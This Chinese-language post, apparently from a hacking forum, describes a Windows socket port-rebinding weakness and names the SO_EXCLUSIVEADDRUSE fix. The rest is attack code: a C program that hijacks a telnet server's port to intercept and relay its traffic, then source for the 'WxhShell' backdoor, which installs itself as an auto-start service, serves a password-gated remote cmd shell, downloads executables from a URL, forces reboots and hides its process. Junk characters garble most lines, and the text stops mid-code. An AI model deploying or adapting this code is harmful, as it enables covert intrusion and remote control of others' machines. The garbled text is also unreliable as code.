在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
_(s|@UT# s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
pTlNJ!U> Ey!+rq} saddr.sin_family = AF_INET;
k:0HsN!F9 \{[Gdj` saddr.sin_addr.s_addr = htonl(INADDR_ANY);
`8%2F}x}qD ;u0MY bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
AA$-Lx(UJk dRXF5Ox5K} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
1x#Z}XG hqVFb.6[ 这意味着什么?意味着可以进行如下的攻击:
H`;q@ 2!b+}+: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-HU5E>xG P p[?E.]P 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
v(/T<^{cuk Zi fAn 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
TPrqb Gt^Fj&^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
u<l[S q8{)27f, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
C-abc+/ UmSy p\i 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
K$dSg1t
|A#pG^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
@e_ bG@ lXS.,#lp #include
T8,?\7)S9 #include
!giL~}j(R #include
y pv~F #include
Ph'P<h:V DWORD WINAPI ClientThread(LPVOID lpParam);
kw>W5tNpf: int main()
I=)u:l c {
0[JJ WORD wVersionRequested;
p] V DWORD ret;
YULI
y-W WSADATA wsaData;
CD'.bFO^+T BOOL val;
*eAsA(; SOCKADDR_IN saddr;
Yp1;5Bbp SOCKADDR_IN scaddr;
EencMi7J int err;
c-L1 Bkw SOCKET s;
B6&;nU>; SOCKET sc;
%EuJ~;x(Mg int caddsize;
qJ b9JL$s HANDLE mt;
B'OUT2cgB DWORD tid;
ruG5~dm> wVersionRequested = MAKEWORD( 2, 2 );
Ccld;c&+ err = WSAStartup( wVersionRequested, &wsaData );
xn'&TQo0 if ( err != 0 ) {
.mzy?!w0q printf("error!WSAStartup failed!\n");
zU;%s<(p return -1;
%- W3F5NK }
"/e:V-W
saddr.sin_family = AF_INET;
z
%Ty; *E0dCY$ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/*)zQ?N E({W`b~_f saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
<
`r+ZyM saddr.sin_port = htons(23);
=ILE/pC-| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*"\QR>n {
]uN}n;`12 printf("error!socket failed!\n");
Fy^=LrH=D return -1;
LE!xj 0 }
Tji G!W8 val = TRUE;
qU(,q/l //SO_REUSEADDR选项就是可以实现端口重绑定的
3 xSt -MA if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
| N%?7PZ( {
fz[o;GTc printf("error!setsockopt failed!\n");
kQ5mIJ9( return -1;
LD]a!eY }
slC
38 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
U_t[J| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
#1-,s.) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
a\60QlAk~ \&K{v#g~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
B|9)4f&\=R {
KTr7z^ ret=GetLastError();
?/Bp8q( printf("error!bind failed!\n");
)N4!zuSVf return -1;
+ niz(] }
]W^F!p~eC listen(s,2);
N?Byp&rqI< while(1)
o
gec6u} {
YIjY? caddsize = sizeof(scaddr);
f;AQw_{ //接受连接请求
$]v=2j sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
CatbEXO if(sc!=INVALID_SOCKET)
wldv^n hM {
'MLp*3djF, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Y.XNA]| if(mt==NULL)
xeo5) {
e
:(7$jo printf("Thread Creat Failed!\n");
w;@NYMK) break;
1>I4=mj }
]_!5g3VQh }
lyY\P6
X CloseHandle(mt);
a_jw4"Sb }
|\/`YRg> closesocket(s);
~m:oJ+:O WSACleanup();
s!WGs_1@ return 0;
_ebo }
GRM:o)4;# DWORD WINAPI ClientThread(LPVOID lpParam)
e"7<&%
Oq {
d}@b 3 SOCKET ss = (SOCKET)lpParam;
K/xn4N_UX SOCKET sc;
- BQoNEh unsigned char buf[4096];
Rcg q7W SOCKADDR_IN saddr;
7s8-Uwl< long num;
{)V!wSi DWORD val;
t6/w({}j DWORD ret;
bTBV:]w //如果是隐藏端口应用的话,可以在此处加一些判断
H7{)"P]{f //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
>6Y@8 ) saddr.sin_family = AF_INET;
tu5g> qb saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
" pg5w saddr.sin_port = htons(23);
> 2)@(f~g if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9:DT+^BB {
3K;V3pJ]. printf("error!socket failed!\n");
Db:^Omwo return -1;
73Zx`00 }
JWZG)I]r val = 100;
=VC"X ?N if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
V{jQ=<)@e {
/!7 ret = GetLastError();
bsuGZ return -1;
z):LF< }
b/[$bZD5o if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
voX4A
pl {
O0Z!*Hy ret = GetLastError();
^/6LVB * return -1;
=Msr+P9Ai }
6zbqv 6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
<M){rce {
VQ}N&H)` printf("error!socket connect failed!\n");
]A?(OA closesocket(sc);
o,r72>| closesocket(ss);
RSfB9)3D return -1;
hFMJDGCw>Q }
v2Ft=_*G| while(1)
k|hy_? * {
ys/U.e|)! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
6Qc
*:(GE //如果是嗅探内容的话,可以再此处进行内容分析和记录
$jkzm8{W //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Vs1H)T% num = recv(ss,buf,4096,0);
1k)31GEQw if(num>0)
Ew<
sK9[o send(sc,buf,num,0);
'c7'iDM else if(num==0)
8'>yB break;
$^TxLv num = recv(sc,buf,4096,0);
g5&ZXA if(num>0)
5q^5DH_; send(ss,buf,num,0);
*x!j:/S`n else if(num==0)
B~ ?R 6 break;
L`2(u!i J }
b6%[?k closesocket(ss);
vRhI:E)So# closesocket(sc);
eoj(zY3 return 0 ;
,+P2B%2c }
'G1~
A + R$Rub/b6 H\%^n<]# ==========================================================
c9ye[81 ge#0Q L0K 下边附上一个代码,,WXhSHELL
/4I9Elr 1La?x'{2MP ==========================================================
xcQD]" uQhI) #include "stdafx.h"
`uwSxt 1b=,lm #include <stdio.h>
49o /S2b4z #include <string.h>
W-RqooEv #include <windows.h>
i}L*PCP #include <winsock2.h>
Vg^yjP{sv #include <winsvc.h>
A3Xfu$[u #include <urlmon.h>
m@i](1*T| l5T0x=y9! #pragma comment (lib, "Ws2_32.lib")
Od("tLIO}I #pragma comment (lib, "urlmon.lib")
Dz3~cuVb @?n~v^ #define MAX_USER 100 // 最大客户端连接数
r1&eA% eh #define BUF_SOCK 200 // sock buffer
iBPIj;, #define KEY_BUFF 255 // 输入 buffer
*ZkOZ $jg~a #define REBOOT 0 // 重启
]>/oo =E #define SHUTDOWN 1 // 关机
H73 r3BH Pk3b#$+E #define DEF_PORT 5000 // 监听端口
gJH^f3 cd&sAK" #define REG_LEN 16 // 注册表键长度
@ N@
!Q #define SVC_LEN 80 // NT服务名长度
V8O-|7H$v Eo`'6
3 // 从dll定义API
V. e30u5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
5yL\@7u` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
**CGkL typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
< ZG!w^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
\ nUJ)w 3dx.%~c // wxhshell配置信息
*kt|CXxAS8 struct WSCFG {
*qA:%m3 int ws_port; // 监听端口
wii.0~p char ws_passstr[REG_LEN]; // 口令
YJ!jdE} int ws_autoins; // 安装标记, 1=yes 0=no
F Jp<J char ws_regname[REG_LEN]; // 注册表键名
HPY;UN char ws_svcname[REG_LEN]; // 服务名
[Mk:Zz% char ws_svcdisp[SVC_LEN]; // 服务显示名
j.yh>"de char ws_svcdesc[SVC_LEN]; // 服务描述信息
/s~BE ,su char ws_passmsg[SVC_LEN]; // 密码输入提示信息
&s{d r int ws_downexe; // 下载执行标记, 1=yes 0=no
I.gF38Mx char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Y1;jRIOA char ws_filenam[SVC_LEN]; // 下载后保存的文件名
{(IHHA> 5FVmk5z]d };
q%/\ 8]i7wq#= // default Wxhshell configuration
m f\tMik< struct WSCFG wscfg={DEF_PORT,
nKmf# "xuhuanlingzhe",
'=+gweM 1,
M4n0GWHLy "Wxhshell",
gg.lajX "Wxhshell",
@8Cja.H "WxhShell Service",
<M,<|Y*) "Wrsky Windows CmdShell Service",
'Yaq; mDY "Please Input Your Password: ",
]*X z~Ox2 1,
#h#_xh' "
http://www.wrsky.com/wxhshell.exe",
Xb~i?T;f "Wxhshell.exe"
dG!) < };
dbg%n 0h .:t&LC][ // 消息定义模块
_Qq lOc9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
v\g1w&PN char *msg_ws_prompt="\n\r? for help\n\r#>";
u"F{cA!B char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
w0O(> char *msg_ws_ext="\n\rExit.";
k/M{2Po+ char *msg_ws_end="\n\rQuit.";
!TN)6e7`
char *msg_ws_boot="\n\rReboot...";
H~?7:K char *msg_ws_poff="\n\rShutdown...";
BxiR0snf0q char *msg_ws_down="\n\rSave to ";
vs{VRc dtBr#Te char *msg_ws_err="\n\rErr!";
fRwr}n' char *msg_ws_ok="\n\rOK!";
XaaR>HljJ q#F+^)DD [ char ExeFile[MAX_PATH];
hT%
>)71 int nUser = 0;
~wu\j][2 HANDLE handles[MAX_USER];
QJ%N80 int OsIsNt;
O[$XgPM l>6p')F! SERVICE_STATUS serviceStatus;
Zul@aS
! SERVICE_STATUS_HANDLE hServiceStatusHandle;
f jMmlp xP7mP+D // 函数声明
N"7BV int Install(void);
(_Th4'(@Y int Uninstall(void);
M}`T-"qf int DownloadFile(char *sURL, SOCKET wsh);
%Q=rm!Syv int Boot(int flag);
]l"9B'XR void HideProc(void);
SB:z[kfz| int GetOsVer(void);
lSy_cItF int Wxhshell(SOCKET wsl);
" eS-i@ void TalkWithClient(void *cs);
Z?qc4Cg int CmdShell(SOCKET sock);
9RC:-d;;_ int StartFromService(void);
FjW%M;H int StartWxhshell(LPSTR lpCmdLine);
:|-^et]a8 I/zI\PP, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
#@F VOID WINAPI NTServiceHandler( DWORD fdwControl );
RLO<5L @cQ
|` // 数据结构和表定义
BnG{)\s SERVICE_TABLE_ENTRY DispatchTable[] =
($!g= 7 {
;)vs=DK:) {wscfg.ws_svcname, NTServiceMain},
4O4}C#6(4 {NULL, NULL}
z`YAOhD*h4 };
8mC$p6Okd (S_1C, // 自我安装
p::`1 int Install(void)
@vO~'Xxq! {
>ktekO:H char svExeFile[MAX_PATH];
6ZQ$5PY HKEY key;
D 77$aCt strcpy(svExeFile,ExeFile);
P)[QC ^vZu[m // 如果是win9x系统,修改注册表设为自启动
(hIe!"s* if(!OsIsNt) {
>}r
1A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lr[&*v?h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gu1n0N`b RegCloseKey(key);
!N/?b^y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\*#E4`Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]{AHKyA{: RegCloseKey(key);
~7H?tp.Dw return 0;
T^g i^{ }
4rypT-%^ ; }
GXR7Ug}k }
jF{)2|5 else {
U8eU[|-8O/ &D` $YUl@ // 如果是NT以上系统,安装为系统服务
]_hXg*? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
^AT#A<{1( if (schSCManager!=0)
nIl<2H]F` {
m@yx6[E# SC_HANDLE schService = CreateService
#B__-"cRv (
7 .xejz schSCManager,
,%KMi-w]q, wscfg.ws_svcname,
(`d _DQ wscfg.ws_svcdisp,
ah!fQLMH SERVICE_ALL_ACCESS,
/4 .]L~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
_<jccQ SERVICE_AUTO_START,
Mvk#$:8e SERVICE_ERROR_NORMAL,
%p};Di[V svExeFile,
T_qh_L3 NULL,
Y|<1|wGG NULL,
ROj=XM:+ NULL,
J!:v`gb#@A NULL,
h)T-7b NULL
F5<GGEQb );
_p| KaT`` if (schService!=0)
'~7 6Y9mv {
[jF\"#A CloseServiceHandle(schService);
*4 Kc "M CloseServiceHandle(schSCManager);
QezDm^< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)Ju$PrO strcat(svExeFile,wscfg.ws_svcname);
|bmc6G[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
_aOsFFB1KF RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
}J:WbIr0! RegCloseKey(key);
5G#K)s(QC return 0;
NAfu$7 }
0>0:ls }
`pXC= []B2 CloseServiceHandle(schSCManager);
I`}x 9t }
~wd~57i@ }
R(HW0@R@w nb|"dK| return 1;
hN_,Vyf }
Zx,aj ?Tk4Vt // 自我卸载
)h(yh50
B int Uninstall(void)
G$
Ii {
\4&FW|mx HKEY key;
Gp))1b'; ,lw<dB@7"5 if(!OsIsNt) {
XJf1LGT5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}UHoa RegDeleteValue(key,wscfg.ws_regname);
B9h> RegCloseKey(key);
*!+?%e{;b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0 }aw9g RegDeleteValue(key,wscfg.ws_regname);
+luW=j0V RegCloseKey(key);
5$f*fMd; return 0;
^
P=CoLFa }
HUY1nb= }
As*59jkB }
Q_n9}LanP else {
R P6R1iN3 V~qlg1h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
cx(b5Z if (schSCManager!=0)
0)3*E)g{ {
qbdv SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
UkBr4{+aE if (schService!=0)
;hp?wb {
H>5@/0cL2 if(DeleteService(schService)!=0) {
K\>CXa CloseServiceHandle(schService);
ic|>JX$G CloseServiceHandle(schSCManager);
y'pX/5R0 return 0;
#oD*H:%* }
^k}jPc6 CloseServiceHandle(schService);
}[I|oV5*+& }
^<O:`c6_ CloseServiceHandle(schSCManager);
cc$+"7/J^c }
REwZ41
}
)*3sE1 oGi{d5 return 1;
3:WXrOl }
qbe9 CF'@_ c6)q(zz // 从指定url下载文件
sp$W=Wu7 int DownloadFile(char *sURL, SOCKET wsh)
GPnSdGLC {
FzGla} ) HRESULT hr;
nLjo3yvV.. char seps[]= "/";
;}gS8I| char *token;
dq
~=P> char *file;
u.sn"G-c char myURL[MAX_PATH];
6~v|pA jY char myFILE[MAX_PATH];
/h'b,iYVV 4d0<uB&v' strcpy(myURL,sURL);
>T<"fEBI token=strtok(myURL,seps);
i&?do{YQ) while(token!=NULL)
&4O0}ax*Zm {
qjp<_aw file=token;
: V#W
y token=strtok(NULL,seps);
*n%J#[e( }
P9D'L{yS/x Wc)f:]7 GetCurrentDirectory(MAX_PATH,myFILE);
+Ss|4O}' strcat(myFILE, "\\");
W:16qbK strcat(myFILE, file);
j/xL+Y(= send(wsh,myFILE,strlen(myFILE),0);
!(<Yc5 send(wsh,"...",3,0);
URD<KIN> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
-3T6ck if(hr==S_OK)
sx0:g?F3j return 0;
YEx76 else
=1"8ua return 1;
O{9h'JU (_ElM> }
fw1 g;;E )d6Ya1vJH // 系统电源模块
PDcZno? int Boot(int flag)
6 4da~SEn {
Y@Kp'+t(! HANDLE hToken;
m,U`hPJ TOKEN_PRIVILEGES tkp;
@"#W\m8 UC34AKm if(OsIsNt) {
}9xEA[@; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
J$?*qZ(oO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
X|7Y|0o tkp.PrivilegeCount = 1;
5E/z.5 q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
`MtPua\_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
O`hOVHDQ if(flag==REBOOT) {
ymBevL if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
` `A=p<W return 0;
rsR0V+(W }
!s]LWCX+| else {
QMfa~TH#p if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
[S/]Vk|4 return 0;
]64mSB }
*_z5Pa`A }
NVMhbpX6 else {
Z?5kO-[ if(flag==REBOOT) {
\S@;>A<J if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
'%`Wy@ return 0;
D/Y .'P:j }
.sA?}H#wb else {
-zd*tujx if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
,"u-V<>6O return 0;
gHC -Y 0_ }
wNW9xmS }
\dbjh{ @l^=&53T return 1;
Q+[e)YO) }
XX,iT~+- 0*"auGuX // win9x进程隐藏模块
\z<B=RT\ void HideProc(void)
v3+\Aq {
<m80e),~ _n(NPFV HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
}xHoitOD if ( hKernel != NULL )
~: f9, {
9psX"*s pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
'@u/] ra: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
9(Vq@.;Z`j FreeLibrary(hKernel);
/}Y>_87 }
[BHf> Mrp'wF
D return;
qDO4&NO }
elZ?>5P$} F+_4Q // 获取操作系统版本
PqIGc int GetOsVer(void)
H>[1DH#b {
85l 1 OSVERSIONINFO winfo;
n~l )7_G winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
8| zR8L GetVersionEx(&winfo);
;5A&[]@^^@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
a2*WZc` return 1;
{hX.R else
m u(HNj return 0;
%lchz/ }
W 0Q-&4 X|H%jdta // 客户端句柄模块
su(y*187A int Wxhshell(SOCKET wsl)
0iW]#O/ {
&eT)c<yhyK SOCKET wsh;
jpqq>Hbg_ struct sockaddr_in client;
I;L$Nf{v DWORD myID;
bh?Vufd%) uYS?# g while(nUser<MAX_USER)
\@Gyl_6^ {
UHz*Tfjb int nSize=sizeof(client);
.
x~tEe wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
#JGy2Hk$^ if(wsh==INVALID_SOCKET) return 1;
W?G4\ubM3< abUn{X+f~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
(
=->rP if(handles[nUser]==0)
PEoOs closesocket(wsh);
y>u+.z a| else
gy _86y@ nUser++;
~ @Ib:M }
J1Mm,LTO WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
jcN84AaRFI MwL'
H< return 0;
`pN"T?Pk }
d5]9FIj Y*O7lZuF% // 关闭 socket
S)z
jfJR void CloseIt(SOCKET wsh)
BN@*CG {
dh%C@n:B closesocket(wsh);
\i "I1xU nUser--;
y yrCO"eh ExitThread(0);
0^|)[2m! }
}3Pz{{B&+O ;'dw`)~jQ // 客户端请求句柄
X(1nAeQ void TalkWithClient(void *cs)
s'ntf {
$# @G! N-
? U2V SOCKET wsh=(SOCKET)cs;
3`J?as@^8 char pwd[SVC_LEN];
@h([c char cmd[KEY_BUFF];
}.4`zK&SB char chr[1];
KSuP'.l int i,j;
FgNO# % W{Ie(hf while (nUser < MAX_USER) {
8^$}!9B~JZ ];^A8? if(wscfg.ws_passstr) {
;or(:Yoc- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`Ten2(D //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Wk'KN o //ZeroMemory(pwd,KEY_BUFF);
k _hiGg i=0;
18Pc4~>0 while(i<SVC_LEN) {
=XJ
SE+ 7 Q0!gTV // 设置超时
J:'cj5@ fd_set FdRead;
WO)rJr!C struct timeval TimeOut;
6t
TLyI$+ FD_ZERO(&FdRead);
r`i<XGPJ% FD_SET(wsh,&FdRead);
-Duy:C6W TimeOut.tv_sec=8;
+%6{>C+bZo TimeOut.tv_usec=0;
S3:Pjz}t int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
0(ZER sP if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
<m`HK.|~ I_'S|L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
z*l3O~mZ pwd
=chr[0]; P
5m{}@g
if(chr[0]==0xd || chr[0]==0xa) { A"\kdxC
pwd=0; 4t|g G`QW7
break; Vur$t^zE
} LS Na
i++; %U)/>Z
} $91c9z;f^
D.j'n-yw
// 如果是非法用户,关闭 socket - P1OD)B
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~o= Sxaf
} oU$Niw9f
{IYfq)c
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $=4T# W=m
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6/wAvPB$
O!lZ%j@%
while(1) { R?Ki~'k=
B+iVK(j'[v
ZeroMemory(cmd,KEY_BUFF); 1SP)`Q
+e`f|OQ
// 自动支持客户端 telnet标准 J8J~$DU\Gv
j=0; iRS )Z)
while(j<KEY_BUFF) { ?zQ\u{]=
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c\-5vw||b
cmd[j]=chr[0]; syA*!Up
if(chr[0]==0xa || chr[0]==0xd) { CVo@zr$
cmd[j]=0; K\nN2y
break; d47b&.v8e
} 5.]+K<:h"A
j++; \^iJv~d
} E08FUAth]#
[95(%&k.Q
// 下载文件 PSI5$Vna4p
if(strstr(cmd,"http://")) { wRgmw
4
send(wsh,msg_ws_down,strlen(msg_ws_down),0); -f#0$Z/0
if(DownloadFile(cmd,wsh)) "8&pT^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7!#x-KR~5
else "nU5c4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); efy65+~GG
} ?5Wj y
else { yaMNt}y-q
6,G1:BV{K
switch(cmd[0]) { BdG~y1%:
"2i{ L '
// 帮助 3DV';
case '?': { .|JJyjRA+
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v98=#k!F
break; Mhm3u
} }\:3}'S.$
// 安装 xKWqDt
case 'i': { 2xhwi.u
if(Install()) Sf
B+;i'D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \-0@9E<D
else `L`qR,R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ah;2\0|t
break; ^G[xQcM73
} -X'HZ\)
// 卸载 bvuoGG*
case 'r': { gYA|JFi
if(Uninstall()) &8_]omuNV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]iRE^o6
else *&q\)\(3w
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pzbR.L}'D
break; UQ:H3
} 53J!iNnXT6
// 显示 wxhshell 所在路径 WW{5[;LYiB
case 'p': { :.'<ndM
char svExeFile[MAX_PATH]; &M,a+|yuY
strcpy(svExeFile,"\n\r"); cTCo~Pk4
strcat(svExeFile,ExeFile); MIo<sJuv
send(wsh,svExeFile,strlen(svExeFile),0); k*(c8/<.d
break; upg?
} U":hJ*F)
// 重启 l~;H~h!h/
case 'b': { 4*}[h9J}\
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l
Q]&:%^\
if(Boot(REBOOT)) rmu5K$pl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p
@&>{hi@
else { !Y>lAx d
closesocket(wsh); 6v(}<2~
ExitThread(0); 9 [v=`
} X^ckTIdR
break; 8W#/=Xh?
} ?:vp3f#
// 关机 9un]}7^
case 'd': { z}.y
?#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j5,1`7\7B
if(Boot(SHUTDOWN)) Umjt~K^Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0vuL(W8)
else { C8rD54A'M
closesocket(wsh); I|9(*tq)
ExitThread(0); HS XS%v/Y
} f]`#BE)V
break; rZ2X$FO@
} b6:A-jb*I
// 获取shell PElC0qCn[
case 's': { <cNXe4(
CmdShell(wsh); WSi`)@.XO
closesocket(wsh); J(JsfU4
ExitThread(0); G3'>KMa.
break; ?YWfoH4mS
} ,(dg]7
// 退出 +%Q:
case 'x': { ,A`d!{]5
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0{^vqh.La
CloseIt(wsh); 1rKKp h
break; u\wdb^8ds
} T]Z|Wq`bot
// 离开 wwrP7T+d
case 'q': { dE19_KPm[j
send(wsh,msg_ws_end,strlen(msg_ws_end),0); "[2CV!_
closesocket(wsh); l*>t@:2J
WSACleanup(); 'KB\K)cD=3
exit(1); 6w(Mb~[n
break; +KgoL a
} ZUP\)[~
} M #'br<]
} x;)bp7
KY34Sc
// 提示信息 ]E'BFon
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XI:8_F;Q
} pd{W(M78g
} =F'p#N0_2
-1iKeyyA
return; hTcy;zLLS
} =+5z;3
A]ZCQ49
// shell模块句柄 QA>(}u\+
int CmdShell(SOCKET sock) qzS 9ls>>
{ CF"$&+ s9
STARTUPINFO si; 59mNb:<
ZeroMemory(&si,sizeof(si)); <6QG7i
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uMVM- (g%
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s3qWTdM
PROCESS_INFORMATION ProcessInfo; nfpkWyI u{
char cmdline[]="cmd"; `q|&;wP.
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mAMi-9
return 0; **_`AM~
} D,q=?~
g?`g+:nug
// 自身启动模式 .w2QiJ
int StartFromService(void) Go~bQ2*'(/
{ BC*vG=a
typedef struct _nu,ks+
{ :MeshzWK
DWORD ExitStatus; D FDC'E
DWORD PebBaseAddress; ^,u0kMG5l
